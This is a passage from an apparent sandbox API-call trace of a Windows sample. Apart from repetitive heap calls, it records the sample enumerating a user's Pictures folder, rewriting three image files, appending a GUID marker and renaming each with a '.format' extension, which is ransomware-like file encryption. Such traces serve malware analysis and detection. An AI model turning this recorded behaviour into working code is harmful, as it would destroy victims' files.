dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.502] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\") returned="JI_LbGFKzAkfRhFEM\\" [0068.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0068.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.503] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.503] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.503] PathFindFileNameW (pszPath="") returned="" [0068.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe921a6e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0x2dd3df70, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x2dd3df70, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.503] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.503] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe921a6e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0x2dd3df70, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x2dd3df70, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.504] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x365a4eb0, ftCreationTime.dwHighDateTime=0x1d4c7f5, ftLastAccessTime.dwLowDateTime=0xd6d7680, ftLastAccessTime.dwHighDateTime=0x1d4d2b8, ftLastWriteTime.dwLowDateTime=0xd6d7680, ftLastWriteTime.dwHighDateTime=0x1d4d2b8, nFileSizeHigh=0x0, nFileSizeLow=0x13459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K-bFjS1F.png", cAlternateFileName="")) returned 1 [0068.504] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\K-bFjS1F.png") returned=".png" [0068.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\K-bFjS1F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\k-bfjs1f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.504] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=78937) returned 1 [0068.504] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.506] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.506] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.507] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13459, lpOverlapped=0x0) returned 1 [0068.508] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.508] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.508] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.508] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.509] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.509] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.509] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.509] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.509] GetLastError () returned 0x0 [0068.509] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.509] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.510] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13459, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.510] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.510] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.510] CloseHandle (hObject=0x5c8) returned 1 [0068.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\K-bFjS1F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\k-bfjs1f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\K-bFjS1F.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\k-bfjs1f.png.format")) returned 1 [0068.512] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.512] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.513] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.513] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93423090, ftCreationTime.dwHighDateTime=0x1d4ccc1, ftLastAccessTime.dwLowDateTime=0xdad080a0, ftLastAccessTime.dwHighDateTime=0x1d4c993, ftLastWriteTime.dwLowDateTime=0xdad080a0, ftLastWriteTime.dwHighDateTime=0x1d4c993, nFileSizeHigh=0x0, nFileSizeLow=0x59c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TRNOm7PeOz.jpg", cAlternateFileName="TRNOM7~1.JPG")) returned 1 [0068.513] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\TRNOm7PeOz.jpg") returned=".jpg" [0068.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\TRNOm7PeOz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\trnom7peoz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.513] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=22979) returned 1 [0068.513] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.516] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x599d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.516] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.517] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x59c3, lpOverlapped=0x0) returned 1 [0068.517] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.517] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.517] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.517] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.518] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.518] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.518] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.518] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.518] GetLastError () returned 0x0 [0068.518] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.518] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.518] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.518] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x59c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.518] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.518] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.518] CloseHandle (hObject=0x5c8) returned 1 [0068.519] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\TRNOm7PeOz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\trnom7peoz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\TRNOm7PeOz.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\trnom7peoz.jpg.format")) returned 1 [0068.520] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.520] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.521] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.521] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd7a500, ftCreationTime.dwHighDateTime=0x1d4d209, ftLastAccessTime.dwLowDateTime=0xb54a0210, ftLastAccessTime.dwHighDateTime=0x1d4cb9c, ftLastWriteTime.dwLowDateTime=0xb54a0210, ftLastWriteTime.dwHighDateTime=0x1d4cb9c, nFileSizeHigh=0x0, nFileSizeLow=0x13c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xgFCgANlk.bmp", cAlternateFileName="XGFCGA~1.BMP")) returned 1 [0068.521] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\xgFCgANlk.bmp") returned=".bmp" [0068.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\xgFCgANlk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\xgfcganlk.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.521] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=81026) returned 1 [0068.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.524] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13c5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.524] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.525] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13c82, lpOverlapped=0x0) returned 1 [0068.525] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.525] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.525] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.525] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.526] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.526] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.526] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.526] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.526] GetLastError () returned 0x0 [0068.526] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.526] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.526] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.527] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.527] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.527] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.527] CloseHandle (hObject=0x5c8) returned 1 [0068.528] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\xgFCgANlk.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\xgfcganlk.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\JI_LbGFKzAkfRhFEM\\xgFCgANlk.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\ji_lbgfkzakfrhfem\\xgfcganlk.bmp.format")) returned 1 [0068.529] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.529] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.530] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd7a500, ftCreationTime.dwHighDateTime=0x1d4d209, ftLastAccessTime.dwLowDateTime=0xb54a0210, ftLastAccessTime.dwHighDateTime=0x1d4cb9c, ftLastWriteTime.dwLowDateTime=0xb54a0210, ftLastWriteTime.dwHighDateTime=0x1d4cb9c, nFileSizeHigh=0x0, nFileSizeLow=0x13c82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xgFCgANlk.bmp", cAlternateFileName="XGFCGA~1.BMP")) returned 0 [0068.530] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee098 | out: hHeap=0x5d0000) returned 1 [0068.530] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.530] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.530] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.530] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.530] HeapFree (in: 